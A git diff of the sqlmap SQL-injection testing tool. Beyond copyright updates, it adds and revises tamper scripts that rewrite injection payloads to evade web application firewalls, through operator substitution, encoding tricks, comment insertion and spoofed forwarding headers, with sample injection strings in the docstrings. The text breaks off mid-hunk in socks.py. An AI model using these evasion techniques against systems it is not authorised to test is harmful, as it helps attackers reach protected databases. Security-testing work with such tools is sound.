#!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/apostrophenullencode.py b/tamper/apostrophenullencode.py index 67066b251..6b0930679 100644 --- a/tamper/apostrophenullencode.py +++ b/tamper/apostrophenullencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/appendnullbyte.py b/tamper/appendnullbyte.py index b15e179be..faae3a2e4 100644 --- a/tamper/appendnullbyte.py +++ b/tamper/appendnullbyte.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/base64encode.py b/tamper/base64encode.py index a417de3aa..cda5619dd 100644 --- a/tamper/base64encode.py +++ b/tamper/base64encode.py @@ -1,13 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import base64 from lib.core.enums import PRIORITY +from lib.core.settings import UNICODE_ENCODING __priority__ = PRIORITY.LOWEST @@ -22,4 +23,4 @@ def tamper(payload, **kwargs): 'MScgQU5EIFNMRUVQKDUpIw==' """ - return base64.b64encode(payload) if payload else payload + return base64.b64encode(payload.encode(UNICODE_ENCODING)) if payload else payload diff --git a/tamper/between.py b/tamper/between.py index bcb636de4..f7331bd9f 100644 --- a/tamper/between.py +++ b/tamper/between.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -17,6 +17,7 @@ def dependencies(): def tamper(payload, **kwargs): """ Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' + Replaces equals operator ('=') with 'BETWEEN # AND #' Tested against: * Microsoft SQL Server 2005 @@ -32,6 +33,8 @@ def tamper(payload, **kwargs): >>> tamper('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' + >>> tamper('1 AND A = B--') + '1 AND A BETWEEN B AND B--' """ retVal = payload @@ -43,6 +46,14 @@ def tamper(payload, **kwargs): _ = "%s %s NOT BETWEEN 0 AND %s" % (match.group(2), match.group(4), match.group(5)) retVal = retVal.replace(match.group(0), _) else: - retVal = re.sub(r"\s*>\s*(\d+|'[^']+')", " NOT BETWEEN 0 AND \g<1>", payload) + retVal = re.sub(r"\s*>\s*(\d+|'[^']+'|\w+\(\d+\))", " NOT BETWEEN 0 AND \g<1>", payload) + + if retVal == payload: + match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^=]+?)\s*=\s*(\w+)\s*", payload) + + if match: + _ = "%s %s BETWEEN %s AND %s" % (match.group(2), match.group(4), match.group(5), match.group(5)) + retVal = retVal.replace(match.group(0), _) + return retVal diff --git a/tamper/bluecoat.py b/tamper/bluecoat.py index ec84e4fe5..a26cdadf7 100644 --- a/tamper/bluecoat.py +++ b/tamper/bluecoat.py @@ -1,12 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re +from lib.core.data import kb from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL @@ -29,14 +30,22 @@ def tamper(payload, **kwargs): Notes: * Useful to bypass Blue Coat's recommended WAF rule configuration - >>> tamper('SELECT id FROM users where id = 1') - 'SELECT%09id FROM users where id LIKE 1' + >>> tamper('SELECT id FROM users WHERE id = 1') + 'SELECT%09id FROM%09users WHERE%09id LIKE 1' """ + def process(match): + word = match.group('word') + if word.upper() in kb.keywords: + return match.group().replace(word, "%s%%09" % word) + else: + return match.group() + retVal = payload if payload: - retVal = re.sub(r"(?i)(SELECT|UPDATE|INSERT|DELETE)\s+", r"\g<1>%09", payload) + retVal = re.sub(r"\b(?P[A-Z_]+)(?=[^\w(]|\Z)", lambda match: process(match), retVal) retVal = re.sub(r"\s*=\s*", " LIKE ", retVal) + retVal = retVal.replace("%09 ", "%09") return retVal diff --git a/tamper/chardoubleencode.py b/tamper/chardoubleencode.py index cccdf4825..3b6a5301f 100644 --- a/tamper/chardoubleencode.py +++ b/tamper/chardoubleencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/charencode.py b/tamper/charencode.py index 29ebf8fef..9df3e9624 100644 --- a/tamper/charencode.py +++ b/tamper/charencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/charunicodeencode.py b/tamper/charunicodeencode.py index 30d0a9526..09e602957 100644 --- a/tamper/charunicodeencode.py +++ b/tamper/charunicodeencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/concat2concatws.py b/tamper/concat2concatws.py new file mode 100644 index 000000000..5182bd8d5 --- /dev/null +++ b/tamper/concat2concatws.py @@ -0,0 +1,36 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' + + Requirement: + * MySQL + + Tested against: + * MySQL 5.0 + + Notes: + * Useful to bypass very weak and bespoke web application firewalls + that filter the CONCAT() function + + >>> tamper('CONCAT(1,2)') + 'CONCAT_WS(MID(CHAR(0),0,0),1,2)' + """ + + if payload: + payload = payload.replace("CONCAT(", "CONCAT_WS(MID(CHAR(0),0,0),") + + return payload diff --git a/tamper/equaltolike.py b/tamper/equaltolike.py index 5ce611c04..d9ccf0082 100644 --- a/tamper/equaltolike.py +++ b/tamper/equaltolike.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/greatest.py b/tamper/greatest.py index c5fc267c5..a1c3f8df3 100644 --- a/tamper/greatest.py +++ b/tamper/greatest.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -36,7 +36,7 @@ def tamper(payload, **kwargs): retVal = payload if payload: - match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^>]+?)\s*>\s*([^>]+)\s*\Z", payload) + match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^>]+?)\s*>\s*([^>#-]+)", payload) if match: _ = "%sGREATEST(%s,%s+1)=%s" % (match.group(1), match.group(4), match.group(5), match.group(4)) diff --git a/tamper/halfversionedmorekeywords.py b/tamper/halfversionedmorekeywords.py index 971ac1c83..c0d0eea5c 100644 --- a/tamper/halfversionedmorekeywords.py +++ b/tamper/halfversionedmorekeywords.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/ifnull2ifisnull.py b/tamper/ifnull2ifisnull.py index 253d0e264..499cc6218 100644 --- a/tamper/ifnull2ifisnull.py +++ b/tamper/ifnull2ifisnull.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/informationschemacomment.py b/tamper/informationschemacomment.py new file mode 100644 index 000000000..7c146a30e --- /dev/null +++ b/tamper/informationschemacomment.py @@ -0,0 +1,27 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOW + +def tamper(payload, **kwargs): + """ + Add a comment to the end of all occurrences of (blacklisted) "information_schema" identifier + + >>> tamper('SELECT table_name FROM INFORMATION_SCHEMA.TABLES') + 'SELECT table_name FROM INFORMATION_SCHEMA/**/.TABLES' + """ + + retVal = payload + + if payload: + retVal = re.sub(r"(?i)(information_schema)\.", "\g<1>/**/.", payload) + + return retVal diff --git a/tamper/lowercase.py b/tamper/lowercase.py new file mode 100644 index 000000000..e06706af5 --- /dev/null +++ b/tamper/lowercase.py @@ -0,0 +1,46 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +import re + +from lib.core.data import kb +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.NORMAL + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces each keyword character with lower case value + + Tested against: + * Microsoft SQL Server 2005 + * MySQL 4, 5.0 and 5.5 + * Oracle 10g + * PostgreSQL 8.3, 8.4, 9.0 + + Notes: + * Useful to bypass very weak and bespoke web application firewalls + that has poorly written permissive regular expressions + * This tamper script should work against all (?) databases + + >>> tamper('INSERT') + 'insert' + """ + + retVal = payload + + if payload: + for match in re.finditer(r"[A-Za-z_]+", retVal): + word = match.group() + + if word.upper() in kb.keywords: + retVal = retVal.replace(word, word.lower()) + + return retVal diff --git a/tamper/modsecurityversioned.py b/tamper/modsecurityversioned.py index c2d031850..1d38e5344 100644 --- a/tamper/modsecurityversioned.py +++ b/tamper/modsecurityversioned.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/modsecurityzeroversioned.py b/tamper/modsecurityzeroversioned.py index 7adc233b4..ac13da0b8 100644 --- a/tamper/modsecurityzeroversioned.py +++ b/tamper/modsecurityzeroversioned.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/multiplespaces.py b/tamper/multiplespaces.py index 95e9c23e0..c08607512 100644 --- a/tamper/multiplespaces.py +++ b/tamper/multiplespaces.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/nonrecursivereplacement.py b/tamper/nonrecursivereplacement.py index 19a71060f..5feb443cc 100644 --- a/tamper/nonrecursivereplacement.py +++ b/tamper/nonrecursivereplacement.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/overlongutf8.py b/tamper/overlongutf8.py new file mode 100644 index 000000000..ac2885d7a --- /dev/null +++ b/tamper/overlongutf8.py @@ -0,0 +1,45 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +import string + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOWEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Converts all characters in a given payload (not processing already + encoded) + + Reference: https://www.acunetix.com/vulnerabilities/unicode-transformation-issues/ + + >>> tamper('SELECT FIELD FROM TABLE WHERE 2>1') + 'SELECT%C0%AAFIELD%C0%AAFROM%C0%AATABLE%C0%AAWHERE%C0%AA2%C0%BE1' + """ + + retVal = payload + + if payload: + retVal = "" + i = 0 + + while i < len(payload): + if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: + retVal += payload[i:i + 3] + i += 3 + else: + if payload[i] not in (string.ascii_letters + string.digits): + retVal += "%%C0%%%.2X" % (0x8A | ord(payload[i])) + else: + retVal += payload[i] + i += 1 + + return retVal diff --git a/tamper/percentage.py b/tamper/percentage.py index 50af6edd9..e54495739 100644 --- a/tamper/percentage.py +++ b/tamper/percentage.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/randomcase.py b/tamper/randomcase.py index 05b6fc9e1..a188ff0cc 100644 --- a/tamper/randomcase.py +++ b/tamper/randomcase.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -44,10 +44,14 @@ def tamper(payload, **kwargs): word = match.group() if word.upper() in kb.keywords: - _ = str() + while True: + _ = "" - for i in xrange(len(word)): - _ += word[i].upper() if randomRange(0, 1) else word[i].lower() + for i in xrange(len(word)): + _ += word[i].upper() if randomRange(0, 1) else word[i].lower() + + if len(_) > 1 and _ not in (_.lower(), _.upper()): + break retVal = retVal.replace(word, _) diff --git a/tamper/randomcomments.py b/tamper/randomcomments.py index 759972894..6c0894eb1 100644 --- a/tamper/randomcomments.py +++ b/tamper/randomcomments.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -26,7 +26,7 @@ def tamper(payload, **kwargs): retVal = payload if payload: - for match in re.finditer(r"[A-Za-z_]+", payload): + for match in re.finditer(r"\b[A-Za-z_]+\b", payload): word = match.group() if len(word) < 2: @@ -39,6 +39,11 @@ def tamper(payload, **kwargs): _ += "%s%s" % ("/**/" if randomRange(0, 1) else "", word[i]) _ += word[-1] + + if "/**/" not in _: + index = randomRange(1, len(word) - 1) + _ = word[:index] + "/**/" + word[index:] + retVal = retVal.replace(word, _) return retVal diff --git a/tamper/securesphere.py b/tamper/securesphere.py index ff3a65219..ab83f46fc 100644 --- a/tamper/securesphere.py +++ b/tamper/securesphere.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/sp_password.py b/tamper/sp_password.py index e668a28f5..959e50257 100644 --- a/tamper/sp_password.py +++ b/tamper/sp_password.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/space2comment.py b/tamper/space2comment.py index 755b2c616..399a2c0ee 100644 --- a/tamper/space2comment.py +++ b/tamper/space2comment.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/space2dash.py b/tamper/space2dash.py index dc06a37f2..cdd828d56 100644 --- a/tamper/space2dash.py +++ b/tamper/space2dash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/space2hash.py b/tamper/space2hash.py index e62f82f50..a50a3a7c2 100644 --- a/tamper/space2hash.py +++ b/tamper/space2hash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/space2morehash.py b/tamper/space2morehash.py index 49309a596..0dbaf5c2a 100644 --- a/tamper/space2morehash.py +++ b/tamper/space2morehash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/space2mssqlblank.py b/tamper/space2mssqlblank.py index b9f4dd1b4..fc0542f53 100644 --- a/tamper/space2mssqlblank.py +++ b/tamper/space2mssqlblank.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/space2mssqlhash.py b/tamper/space2mssqlhash.py index 9de9539a7..cddfd6179 100644 --- a/tamper/space2mssqlhash.py +++ b/tamper/space2mssqlhash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/space2mysqlblank.py b/tamper/space2mysqlblank.py index f866d6924..a0ac1da68 100644 --- a/tamper/space2mysqlblank.py +++ b/tamper/space2mysqlblank.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/space2mysqldash.py b/tamper/space2mysqldash.py index eae93e8bb..4a4f9821c 100644 --- a/tamper/space2mysqldash.py +++ b/tamper/space2mysqldash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/space2plus.py b/tamper/space2plus.py index c2d87cbf2..38211026a 100644 --- a/tamper/space2plus.py +++ b/tamper/space2plus.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/space2randomblank.py b/tamper/space2randomblank.py index 054fe260a..98612534a 100644 --- a/tamper/space2randomblank.py +++ b/tamper/space2randomblank.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/symboliclogical.py b/tamper/symboliclogical.py new file mode 100644 index 000000000..cb8e91630 --- /dev/null +++ b/tamper/symboliclogical.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOWEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces AND and OR logical operators with their symbolic counterparts (&& and ||) + + >>> tamper("1 AND '1'='1") + '1 && '1'='1' + """ + + retVal = payload + + if payload: + retVal = re.sub(r"(?i)\bAND\b", "%26%26", re.sub(r"(?i)\bOR\b", "%7C%7C", payload)) + + return retVal diff --git a/tamper/unionalltounion.py b/tamper/unionalltounion.py index eecf5e66e..3bb234141 100644 --- a/tamper/unionalltounion.py +++ b/tamper/unionalltounion.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/unmagicquotes.py b/tamper/unmagicquotes.py index 78c391efa..c2bcca8da 100644 --- a/tamper/unmagicquotes.py +++ b/tamper/unmagicquotes.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -26,7 +26,7 @@ def tamper(payload, **kwargs): * http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string >>> tamper("1' AND 1=1") - '1%bf%27 AND 1=1-- ' + '1%bf%27-- ' """ retVal = payload @@ -44,7 +44,10 @@ def tamper(payload, **kwargs): continue if found: - retVal = re.sub("\s*(AND|OR)[\s(]+'[^']+'\s*(=|LIKE)\s*'.*", "", retVal) - retVal += "-- " - + _ = re.sub(r"(?i)\s*(AND|OR)[\s(]+([^\s]+)\s*(=|LIKE)\s*\2", "", retVal) + if _ != retVal: + retVal = _ + retVal += "-- " + elif not any(_ in retVal for _ in ('#', '--', '/*')): + retVal += "-- " return retVal diff --git a/tamper/varnish.py b/tamper/varnish.py new file mode 100644 index 000000000..00d54bb43 --- /dev/null +++ b/tamper/varnish.py @@ -0,0 +1,33 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.NORMAL + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Append a HTTP header 'X-originating-IP' to bypass + WAF Protection of Varnish Firewall + + Notes: + Reference: http://h30499.www3.hp.com/t5/Fortify-Application-Security/Bypassing-web-application-firewalls-using-HTTP-headers/ba-p/6418366 + + Examples: + >> X-forwarded-for: TARGET_CACHESERVER_IP (184.189.250.X) + >> X-remote-IP: TARGET_PROXY_IP (184.189.250.X) + >> X-originating-IP: TARGET_LOCAL_IP (127.0.0.1) + >> x-remote-addr: TARGET_INTERNALUSER_IP (192.168.1.X) + >> X-remote-IP: * or %00 or %0A + """ + + headers = kwargs.get("headers", {}) + headers["X-originating-IP"] = "127.0.0.1" + return payload diff --git a/tamper/versionedkeywords.py b/tamper/versionedkeywords.py index 203325c85..7c5c5db32 100644 --- a/tamper/versionedkeywords.py +++ b/tamper/versionedkeywords.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/versionedmorekeywords.py b/tamper/versionedmorekeywords.py index c4ddfd8a7..d5fc44db1 100644 --- a/tamper/versionedmorekeywords.py +++ b/tamper/versionedmorekeywords.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/xforwardedfor.py b/tamper/xforwardedfor.py new file mode 100644 index 000000000..e2bcdbca9 --- /dev/null +++ b/tamper/xforwardedfor.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +from lib.core.enums import PRIORITY +from random import sample +__priority__ = PRIORITY.NORMAL + +def dependencies(): + pass + +def randomIP(): + numbers = [] + while not numbers or numbers[0] in (10, 172, 192): + numbers = sample(xrange(1, 255), 4) + return '.'.join(str(_) for _ in numbers) + +def tamper(payload, **kwargs): + """ + Append a fake HTTP header 'X-Forwarded-For' to bypass + WAF (usually application based) protection + """ + + headers = kwargs.get("headers", {}) + headers["X-Forwarded-For"] = randomIP() + return payload diff --git a/thirdparty/ansistrm/ansistrm.py b/thirdparty/ansistrm/ansistrm.py index eb30b9c6d..95d2b00be 100644 --- a/thirdparty/ansistrm/ansistrm.py +++ b/thirdparty/ansistrm/ansistrm.py @@ -62,6 +62,8 @@ class ColorizingStreamHandler(logging.StreamHandler): self.flush() except (KeyboardInterrupt, SystemExit): raise + except IOError: + pass except: self.handleError(record) diff --git a/thirdparty/bottle/__init__.py b/thirdparty/bottle/__init__.py index 9e1072a9c..8d7bcd8f0 100644 --- a/thirdparty/bottle/__init__.py +++ b/thirdparty/bottle/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/thirdparty/clientform/clientform.py b/thirdparty/clientform/clientform.py index 2a4f948f3..3ac1534f5 100644 --- a/thirdparty/clientform/clientform.py +++ b/thirdparty/clientform/clientform.py @@ -1124,6 +1124,7 @@ def _ParseFileEx(file, base_uri, if action is None: action = base_uri else: + action = unicode(action, "utf8") if action and not isinstance(action, unicode) else action action = _urljoin(base_uri, action) # would be nice to make HTMLForm class (form builder) pluggable form = HTMLForm( @@ -2450,7 +2451,7 @@ class SubmitControl(ScalarControl): # IE5 defaults SUBMIT value to "Submit Query"; Firebird 0.6 leaves it # blank, Konqueror 3.1 defaults to "Submit". HTML spec. doesn't seem # to define this. - if self.value is None: self.value = "" + if self.value is None and not self.disabled: self.value = "" self.readonly = True def get_labels(self): diff --git a/thirdparty/colorama/winterm.py b/thirdparty/colorama/winterm.py index ae22c4658..6d17c2cdc 100644 --- a/thirdparty/colorama/winterm.py +++ b/thirdparty/colorama/winterm.py @@ -73,7 +73,7 @@ class WinTerm(object): position.X += 1 position.Y += 1 return position - + def set_cursor_position(self, position=None, on_stderr=False): if position is None: #I'm not currently tracking the position, so there is no default. diff --git a/thirdparty/magic/magic.py b/thirdparty/magic/magic.py index 036983ae0..e03ddd9ac 100644 --- a/thirdparty/magic/magic.py +++ b/thirdparty/magic/magic.py @@ -111,7 +111,10 @@ try: # This is necessary because find_library returns None if it doesn't find the library if dll: - libmagic = ctypes.CDLL(dll) + try: + libmagic = ctypes.CDLL(dll) + except WindowsError: + pass if not libmagic or not libmagic._name: import sys diff --git a/thirdparty/multipart/multipartpost.py b/thirdparty/multipart/multipartpost.py index b3ea1eebd..e9aa1a85e 100644 --- a/thirdparty/multipart/multipartpost.py +++ b/thirdparty/multipart/multipartpost.py @@ -81,14 +81,19 @@ class MultipartPostHandler(urllib2.BaseHandler): buf = '' for (key, value) in vars: - buf += '--%s\r\n' % boundary - buf += 'Content-Disposition: form-data; name="%s"' % key - buf += '\r\n\r\n' + value + '\r\n' + if key is not None and value is not None: + buf += '--%s\r\n' % boundary + buf += 'Content-Disposition: form-data; name="%s"' % key + buf += '\r\n\r\n' + value + '\r\n' for (key, fd) in files: file_size = os.fstat(fd.fileno())[stat.ST_SIZE] if isinstance(fd, file) else fd.len filename = fd.name.split('/')[-1] if '/' in fd.name else fd.name.split('\\')[-1] - contenttype = mimetypes.guess_type(filename)[0] or 'application/octet-stream' + try: + contenttype = mimetypes.guess_type(filename)[0] or 'application/octet-stream' + except: + # Reference: http://bugs.python.org/issue9291 + contenttype = 'application/octet-stream' buf += '--%s\r\n' % boundary buf += 'Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (key, filename) buf += 'Content-Type: %s\r\n' % contenttype diff --git a/thirdparty/pagerank/pagerank.py b/thirdparty/pagerank/pagerank.py index 60a654fd1..977a93744 100644 --- a/thirdparty/pagerank/pagerank.py +++ b/thirdparty/pagerank/pagerank.py @@ -15,6 +15,7 @@ import urllib def get_pagerank(url): + url = url.encode('utf8') if isinstance(url, unicode) else url _ = 'http://toolbarqueries.google.com/tbr?client=navclient-auto&features=Rank&ch=%s&q=info:%s' % (check_hash(hash_url(url)), urllib.quote(url)) try: f = urllib.urlopen(_) diff --git a/thirdparty/socks/socks.py b/thirdparty/socks/socks.py index e164ced40..ff0a1e226 100644 --- a/thirdparty/socks/socks.py +++ b/thirdparty/socks/socks.py @@ -53,6 +53,7 @@ PROXY_TYPE_HTTP = 3 _defaultproxy = None _orgsocket = socket.socket +_orgcreateconnection = socket.create_connection class ProxyError(Exception): pass class GeneralProxyError(ProxyError): pass @@ -113,8 +114,8 @@ def wrapmodule(module): raise GeneralProxyError((4, "no proxy specified")) def unwrapmodule(module): - 